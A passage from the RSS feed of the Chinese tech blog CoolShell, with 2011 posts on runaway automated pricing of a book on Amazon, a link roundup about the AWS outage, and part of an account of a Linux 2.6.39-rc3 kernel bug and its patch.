href=\"https://coolshell.cn/articles/4605.html\">Amazon的书为什么卖到了$2000万</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近，Amazon的新闻比较多，除了<a title=\"关于Amazon云宕机的网贴收集\" href=\"https://coolshell.cn/articles/4601.html\" target=\"_blank\">Amazon的云平台宕机</a>外，还有一个被热炒的新闻是在Amazon的书店里，有一本书要买$23,698,655.93美元，相当于1亿5千万人民币（如下图所示），这个事情是由UC Berkeley的生物学家Michael Eisen发现的，然后他在他的博客上写了<a title=\"Amazon’s $23,698,655.93 book about flies\" href=\"http://www.michaeleisen.org/blog/?p=358\" target=\"_blank\">一篇文章来说明这个事情</a>。</p>\n<p>这本书是1992年，现在绝版了，生物学家决定上Amazon找一下，结果看到了有两本新书，还有一些二手的，二手书价比较正常，但是那两个新书的价都上了百万。这个生物学家还写了邮件给原作者和原作者开了玩笑。呵呵。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"lawrence_1\" src=\"http://www.michaeleisen.org/blog/wp-content/uploads/2011/04/lawrence_1.png\" alt=\"\" width=\"600\" height=\"378\" /></p>\n<p>一般人可能就把这个事当成个笑话了，不过，教授就是教授，它还认真的研究了一下为什么会这样。</p>\n<p><span id=\"more-4605\"></span></p>\n<p>首先，这个不是Amazon的订价的问题，这是Amazon的第三方商户平台两个商户报价，一个商户叫profnath，另一个商户叫bordeebook。我们的生物学教授观察这两个商户的书价了几天，看到了下面的结果：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"lawrence_prices1\" src=\"http://www.michaeleisen.org/blog/wp-content/uploads/2011/04/lawrence_prices1.png\" alt=\"\" width=\"386\" height=\"159\" /></p>\n<p>从上面的表中，我们可以看到，profnath商户的价格总是bordeebook的99.83%，而bordeebook的总是比profnath的高27.059%，很明显，这两个商户用的是程序在自动定价——“自动竞价”。</p>\n<ul>\n<li>profnath商户想把书买出去，所以，其订价要比最高价要低一些（99.83%），这个很容易理解。</li>\n<li>bordeebook商户为什么要比最高价要高1.27倍呢？合理的解释是，bordeebook并没有这本书，这个商户只是想用更多的选品来吸引买家，这样可以让人觉得他和竞争对手有一样多的选品。所以，他要把价订得高一点，这样就算是被人下单，他可以从别人手里把书买过来，然后再卖给卖家。27%的空间，够他赚了。</li>\n</ul>\n<p>因为两个商户订的比例不一样，所以，这两个商户的自动订价系统就成了相互涨价的程序——profnath以差0.17%差价跟上，而bordeebook以27%的幅度甩开，profnth再跟上，bordeebook再甩开……。于是最后的价格就到了$23,698,655.93美金。呵呵。</p>\n<p>下面，我说说我的收获——</p>\n<ul>\n<li><strong>能力</strong>：我非常欣赏这位生物学教授的求甚解的态度，这和<a title=\"Linux 2.6.39-rc3的一个插曲\" href=\"https://coolshell.cn/articles/4576.html\" target=\"_blank\">Linus要求其团队成员的能力</a>如出一辙。赞一个！</li>\n<li><strong>商业</strong>：从这两个商户的行为看到了一种相反的商业技巧。profnath 和 bordeebook  都是聪明的商家。</li>\n<li><strong>电商</strong>：自动定价系统可能会成为未来电子商务的一个重要的方向。电子商务还有很多东西可以做啊。</li>\n<li><strong>程序</strong>：程序设计中需要加上边界条件，最高值和最低值（当然，我能理解为什么这两个商户没有回，因为不同的商品价格差得太大，也许他们也在卖一些几百万的商品）。</li>\n</ul>\n<p>最后，这本书的网址在这里《<a href=\"http://www.amazon.com/gp/offer-listing/0632030488/ref=dp_olp_0?ie=UTF8&amp;redirect=true&amp;qid=1303712892&amp;sr=8-1&amp;condition=all\" target=\"_blank\">The Making of a Fly: The Genetics of Animal Design</a>》，你可以看到价格又在攀升了，昨天我看的是200多美，我写这篇文章此时的价格是近1000美金了。呵呵。</p>\n<p>（全文完）</p>\n<p><span style=\"color: #cc0000; font-size: 14px;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/6470.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/01/12306-150x150.png\" alt=\"由12306.cn谈谈网站性能技术 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6470.html\" class=\"wp_rp_title\">由12306.cn谈谈网站性能技术 </a></li><li ><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" alt=\"三个事和三个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_title\">三个事和三个问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4605.html\">Amazon的书为什么卖到了$2000万</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4605.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>28</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>关于Amazon云宕机的网贴收集</title>\n\t\t<link>https://coolshell.cn/articles/4601.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4601.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 27 Apr 2011 14:49:07 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[Amazon]]></category>\n\t\t<category><![CDATA[AWS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4601</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近，互联网上最大的事可能是Amazon的AWS宕机了，而且好几天都没有完全恢复。整个Internet都在讨论这个事，Internet很不高兴，后果可能很严重。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4601.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4601.html\">关于Amazon云宕机的网贴收集</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近，互联网上最大的事可能是Amazon的AWS宕机了，而且好几天都没有完全恢复。整个Internet都在讨论这个事，Internet很不高兴，后果可能很严重。可能是因为这个事件对中国没有影响，所以中文这边相关的文章不多，大家可以参考一下和讯网的这篇《<a href=\"http://tech.hexun.com/2011-04-24/128998619.html\" target=\"_blank\">伤不起！亚马逊史前最大宕机事件的启示</a>》。</p>\n<p>国外有人把所有和这个事件相关的贴子都收集了起来，都是一些相当不错的贴子和文章，尤其是一些经验教训的贴子，很受教，转给大家看看。这个贴子的<a href=\"http://highscalability.com/blog/2011/4/25/the-big-list-of-articles-on-the-amazon-outage.html\" target=\"_blank\">来源在这里</a>。</p>\n<h4>个别公司的经历，有好有坏</h4>\n<ul>\n<li><a href=\"http://status.heroku.com/incident/151\">How Heroku Survived the Amazon Outage</a> on the Heroku status page</li>\n<li><a href=\"http://developers.simplegeo.com/blog/2011/04/26/how-simplegeo-stayed-up/\">How SimpleGeo Stayed Up During the AWS Downtime</a> by Mike Malone</li>\n<li><a href=\"http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse\">How SmugMug survived the Amazonpocalypse</a> by Don MacAskill  (<a href=\"http://news.ycombinator.com/item?id=2480763\">Hacker News</a> discussion)</li>\n<li><a href=\"http://dev.bizo.com/2011/04/how-bizo-survived-great-aws-outage-of.html\">How Bizo survived the Great AWS Outage of 2011 relatively unscathed&#8230;</a> by Someone at Bizo</li>\n<li><a href=\"http://www.focus.com/questions/information-technology/amazon-ec2-has-gone-down--what-would-prefered-hosting-be/#comment43192\">Joe Stump&#8217;s explanation</a> of how SimpleGeo survived</li>\n<li><a href=\"http://www.slideshare.net/adrianco/netflix-in-the-cloud-2011\">How Netflix Survived the Outage</a></li>\n<li><a href=\"http://www.twilio.com/engineering/2011/04/22/why-twilio-wasnt-affected-by-todays-aws-issues/\">Why Twilio Wasn’t Affected by Today’s AWS Issues</a> on Twilio Engineering&#8217;s Blog (<a href=\"http://news.ycombinator.com/item?id=2472999\">Hacker News</a> thread)</li>\n<li><a href=\"http://www.reddit.com/r/announcements/comments/gva4t/on_reddits_outage/#\">On reddit&#8217;s outage</a></li>\n<li><a href=\"http://www.quora.com/Quora-Outage-April-21-22-2011/What-caused-the-Quora-problems-outage-in-April-2011\">What caused the Quora problems/outage in April 2011?</a></li>\n<li><a href=\"http://tomatohater.com/2011/04/21/recovering-amazon-cloud-outage/\">Recovering from Amazon cloud outage</a> by Drew Engelson of PBS.\n<ul>\n<li>PBS was affected for a while primarily because we do use EBS-backed RDS databases. Despite being spread across multiple availability-zones, we weren’t easily able to launch new resources ANYWHERE in the East region since everyone else was trying to do the same. I ended up pushing the RDS stuff out West for the time being.  <a href=\"http://don.blogs.smugmug.com/2011/04/24/how-smugmug-survived-the-amazonpocalypse/#comment-4737\">From Comment</a></li>\n</ul>\n</li>\n</ul>\n<p><span id=\"more-4601\"></span></p>\n<h4>Amazon Web Services 讨论区</h4>\n<p>有一些有经验的人共享了很多相当不错的宕机的经历。</p>\n<ul>\n<li><a href=\"https://forums.aws.amazon.com/forum.jspa?forumID=30&amp;start=0\">Amazon Web Services Discussion Forum</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65860&amp;tstart=0\">Cost-effective backup plan from now on?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65649&amp;tstart=0\">Life of our patients is at stake &#8211; I am desperately asking you to contact</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65897&amp;tstart=0\"> Why did the EBS, RDS, Cloudformation, Cloudwatch and Beanstalk all fail?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65896&amp;tstart=0\">Moved all resources off of AWS</a></li>\n<li><a href=\"https://forums.aws.amazon.com/forum.jspa?forumID=30&amp;start=300\">Any success stories?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65784&amp;tstart=25\">Is the mass exodus from East going to cause demand problems in the West?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65828&amp;tstart=25\"> Finally back online after about 71 hours</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65834&amp;tstart=25\">Amazon EC2 features vs windows azure</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65221&amp;tstart=25\"> Aren&#8217;t Availability Zones supposed to be &#8220;insulated from failures&#8221;?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65850&amp;tstart=0\">What a lot of people aren&#8217;t realizing about the downtime:</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=32044&amp;tstart=50&amp;start=150\">ELB CNAME</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65457&amp;tstart=425\"> Availability Zones were used in a misleading manner</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65371&amp;tstart=325\">Tip: How to recover your instance</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65617&amp;tstart=325\">Crying in Forum Gets Results, Silver-level AWS Premium Support Doesn&#8217;t</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65780&amp;tstart=25\"> Well-worth reading: &#8220;design for failure&#8221; cloud deployment strategy</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65749&amp;tstart=25\">New best practice</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65136&amp;tstart=475\">Don&#8217;t bother with Premium Support</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65185&amp;tstart=450\">Best practices for multi-region redundancy</a></li>\n<li> &#8220;<a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65450&amp;tstart=175\">Postmortum</a>&#8220;</li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65513&amp;tstart=125\">Learning from this case</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65388&amp;tstart=525\"> Amazon, still no instructions what to do?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65338&amp;tstart=550\">Anyone else prepared for an all-nighter?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65811&amp;tstart=100\">Is Jeff Bezos going to give a public statement?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65857&amp;tstart=100\"> Rackspace, GoGrid, StormonDemand and Others</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65815&amp;tstart=150\">Jeff Barr, Werner Vogels and other AWS persons &#8211; where have you been???</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65168&amp;tstart=175\">After you guys fix EBS do I have do anything on my side?</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65765&amp;tstart=225\"> Need Help!!! Lives of people and billions in revenue are at risk now!!!</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65678&amp;tstart=275\">I&#8217;ve Got A Suspicion</a></li>\n<li><a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=65585&amp;tstart=325\"> Farewell EC2, Farewell</a></li>\n</ul>\n<p>There were also many many instances of support and help in the log.</p>\n<h4>总结</h4>\n<ul>\n<li><a href=\"http://blog.rightscale.com/2011/04/25/amazon-ec2-outage-summary-and-lessons-learned/\">Amazon EC2 outage: summary and lessons learned</a> by RightScale</li>\n<li><a href=\"http://www.randomhacks.net/articles/2011/04/25/aws-outage-timeline-and-recovery-strategy-downtimes\">AWS outage timeline &amp; downtimes by recovery strategy</a> by Eric Kidd</li>\n<li><a href=\"http://www.datacenterknowledge.com/archives/2011/04/25/the-aftermath-of-amazons-cloud-outage\">The Aftermath of Amazon’s Cloud Outage</a> by Rich Miller</li>\n</ul>\n<h4>立场：这是用户的错</h4>\n<ul>\n<li><a href=\"http://www.thestoragearchitect.com/2011/04/22/so-your-aws-based-application-is-down-dont-blame-amazon/\">So Your AWS-based Application is Down? Don’t Blame Amazon</a> by The Storage Architect</li>\n<li><a href=\"http://stu.mp/2011/04/the-cloud-is-not-a-silver-bullet.html\">The Cloud is not a Silver Bullet</a> by Joe Stump (<a href=\"http://news.ycombinator.com/item?id=2482581\">Hacker News</a> thread)</li>\n<li><a href=\"http://broadcast.oreilly.com/2011/04/the-aws-outage-the-clouds-shining-moment.html\">The AWS Outage: The Cloud&#8217;s Shining Moment</a> by George Reese (<a href=\"http://news.ycombinator.com/item?id=2477540\">Hacker News</a> discussion)</li>\n<li><a href=\"http://blog.acrowire.com/cloud-computing/failing-to-plan-is-planning-to-fail\">Failing to Plan is Planning to Fail</a> by Ted Theodoropoulos</li>\n<li><a href=\"http://groups.google.com/group/cloud-computing/browse_thread/thread/e8079a54e6a8c4b9/72756bf9e587869d?show_docid=72756bf9e587869d\">Get a life and build redundancy/resiliency in your apps</a> on the Cloud Computing group</li>\n</ul>\n<h4>立场：这是Amazon的错</h4>\n<ul>\n<li><a href=\"http://www.readwriteweb.com/cloud/2011/04/almost-as-galling-as-the.php\">Stop Blaming the Customers &#8211; the Fault is on Amazon Web Services</a> by Klint Finley</li>\n<li><a href=\"http://justinsb.posterous.com/aws-down-why-the-sky-is-falling\">AWS is down: Why the sky is falling</a> by Justin Santa Barbara  (<a href=\"http://news.ycombinator.com/item?id=2471899\">Hacker News</a> thread)</li>\n<li><a href=\"http://news.ycombinator.com/item?id=2469838\">Amazon Web Services are down</a> &#8211; Huge Hacker News thread</li>\n</ul>\n<h4>教训和启示</h4>\n<ul>\n<li><a href=\"http://smoothspan.wordpress.com/2011/04/23/people-using-amazon-cloud-get-some-cheap-insurance-at-least/\">People Using Amazon Cloud: Get Some Cheap Insurance At Least</a> by Bob Warfield</li>\n<li><a href=\"http://ronaldbradford.com/blog/basic-scalability-principles-to-avert-downtime-2011-04-23\">Basic scalability principles to avert downtime</a> by Ronald Bradford</li>\n<li><a href=\"http://www.itworld.com/cloud-computing/158517/amazon-crash-reveals-cloud-computing-actually-based-data-centers\">Amazon crash reveals &#8216;cloud&#8217; computing actually based on data centers</a> by Kevin Fogarty</li>\n<li><a href=\"http://www.zdnet.com/blog/saas/seven-lessons-to-learn-from-amazons-outage/1296\">Seven lessons to learn from Amazon&#8217;s outage</a> By Phil Wainewright</li>\n<li><a href=\"http://www.cloudsigma.com/en/blog/2011/04/23/21-cloud-outages-lessons-learned\">The Cloud and Outages : Five Key Lessons</a> by Patrick Baillie (<a href=\"http://groups.google.com/group/cloud-computing/browse_thread/thread/6e9549afbff6386f/05919d8527c69a09?show_docid=05919d8527c69a09#\">Cloud Computing Group</a> discussion)</li>\n<li><a href=\"http://till.klampaeckel.de/blog/archives/151-Some-thoughts-on-outtages.html\">Some thoughts on outages</a> by Till Klampaeckel</li>\n<li><a href=\"http://www.geekwire.com/2011/amazoncoms-real-problem-outage-communication\">Amazon.com’s real problem isn’t the outage, it’s the communication</a> by Keith Smith</li>\n<li><a href=\"http://webmonkeyuk.wordpress.com/2011/04/21/how-to-work-around-amazon-ec2-outages/\">How to work around Amazon EC2 outages</a> by James Cohen (<a href=\"http://news.ycombinator.com/item?id=2471258\">Hacker News</a> thread)</li>\n<li><a href=\"http://agilesysadmin.net/ec2-outage-lessons\">Today’s EC2 / EBS Outage: Lessons learned</a> on Agile Sysadmin</li>\n<li><a href=\"http://www.focus.com/questions/information-technology/amazon-ec2-has-gone-down--what-would-prefered-hosting-be/\">Amazon EC2 has gone down -what would a prefered hosting platform be?</a> on Focus</li>\n<li><a href=\"http://cloudability.com/single-points-of-failure\">Single Points of Failure</a> by Mat</li>\n<li><a href=\"http://www.reddit.com/r/programming/comments/gvac7/coping_with_cloud_downtime_with_puppet/\">Coping with Cloud Downtime with Puppet</a></li>\n<li><a href=\"http://timcrawford.org/2011/04/21/amazon-outage-concerns-are-overblown/\">Amazon Outage Concerns Are Overblown</a> by Tim Crawford</li>\n<li><a href=\"http://claylo.com/post/4817029650/where-there-are-clouds-it-sometimes-rains\">Where There Are Clouds, It Sometimes Rains</a> by Clay Loveless</li>\n<li><a href=\"http://blog.learnboost.com/blog/availability-redundancy-and-failover-at-learnboost/\">Availability, redundancy, failover and data backups at LearnBoost </a> by Guillermo Rauch</li>\n<li><a href=\"http://chrischandler.name/the-real-cost-of-cloud-hosting\">Cloud hosting vs colocation</a> by Chris Chandler (<a href=\"http://news.ycombinator.com/item?id=2482123\">Hacker News</a> thread)</li>\n<li><a href=\"http://arnon.me/2011/04/amazons-ec2-ebs-outage/\">Amazon’s EC2 &amp; EBS outage</a> by Arnon Rotem-Gal-Oz</li>\n</ul>\n<h4>Vendor很生气</h4>\n<ul>\n<li><a href=\"http://www.productionscale.com/home/2011/4/22/on-clouds-and-spofs-or-the-great-aws-outage-of-april-2011.html#axzz1KZPTwX4z\">Amazon Outage Proves Value of Riak’s Vision</a> by Basho</li>\n<li><a href=\"http://joyeur.com/2011/04/24/magical-block-store-when-abstractions-fail-us/\">Magical Block Store: When Abstractions Fail Us</a> by Mark Joyent (<a href=\"http://news.ycombinator.com/item?id=2479613\">Hacker News</a> discussion)</li>\n<li><a href=\"http://joyeur.com/2011/04/22/on-cascading-failures-and-amazons-elastic-block-store/\">On Cascading Failures and Amazon’s Elastic Block Store</a> by Jason</li>\n<li><a href=\"http://cloudharmony.com/b/2011/04/unofficial-ec2-outage-postmortem-sky-is.html\">An unofficial EC2 outage postmortem &#8211; the sky is not falling</a> from CloudHarmony</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-150x150.png\" alt=\"是微服务架构不香还是云不香？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_title\">是微服务架构不香还是云不香？</a></li><li ><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" alt=\"AWS 的 S3 故障回顾和思考\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_title\">AWS 的 S3 故障回顾和思考</a></li><li ><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" alt=\"三个事和三个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_title\">三个事和三个问题</a></li><li ><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"腾讯，竞争力 和 用户体验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5901.html\" class=\"wp_rp_title\">腾讯，竞争力 和 用户体验</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4601.html\">关于Amazon云宕机的网贴收集</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4601.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux 2.6.39-rc3的一个插曲</title>\n\t\t<link>https://coolshell.cn/articles/4576.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4576.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 27 Apr 2011 00:39:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4576</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2011年4月12日，Linux 2.6.39-rc3发布了，Linus Torvalds写了一个发布邮件，其中包含了一个长长的为这个版本做过贡献的人员名单，这...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4576.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4576.html\">Linux 2.6.39-rc3的一个插曲</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>2011年4月12日，Linux 2.6.39-rc3发布了，Linus Torvalds写了一个<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982\">发布邮件</a>，其中包含了一个长长的为这个版本做过贡献的人员名单，这个名单中有很多看上去应该是中国人的名字，我挺为他们感到骄傲的（不知道你是否还记得以前本站的&#8221;<a title=\"谁写了Linux\" href=\"https://coolshell.cn/articles/1360.html\" target=\"_blank\">Linux是由谁写的</a>&#8220;）。</p>\n<p>不过，没过一会，发现了一个bug，经过大家的调查（2.6.38版没有发现这个问题），很快，找到了原因，是因为一个内存地址的问题，一个叫Yinghai Lu的人（看其名字应该是中国人，其邮件是@kernel.org）<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126082\" target=\"_blank\">找到了原因</a>—— radeon card使用了一个不正确的内存地址[0xa0000000 &#8211; 0xc000000]。Joerg Roedel跟贴说，这个地址超出了4GB的内存，然后他和Alex Deucher聊了一会，觉得不应该是这个问题，因为这个地址应该是GPU的，而不是系统内存的。</p>\n<p>好像，Yinghai Lu没有理会他们说的不应该是这个问题，<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126133\" target=\"_blank\">给出了个fix</a>：</p>\n<pre data-enlighter-language=\"diff\" class=\"EnlighterJSRAW\">\ndiff --git a/arch/x86/kernel/aperture_64.c b/arch/x86/kernel/aperture_64.c\nindex 86d1ad4..3b6a9d5 100644\n--- a/arch/x86/kernel/aperture_64.c\n+++ b/arch/x86/kernel/aperture_64.c\n@@ -83,7 +83,7 @@ static u32 __init allocate_aperture(void)\n \t * so don&#039;t use 512M below as gart iommu, leave the space for kernel\n \t * code for safe\n \t */\n-\taddr = memblock_find_in_range(0, 1ULL&lt;&lt;32, aper_size, 512ULL&lt;&lt;20);\n+\taddr = memblock_find_in_range(0, 1ULL&lt;&lt;32, aper_size, 512ULL&lt;&lt;21);\n  \tif (addr == MEMBLOCK_ERROR || addr + aper_size &gt; 0xffffffff) {\n \t\tprintk(KERN_ERR\n 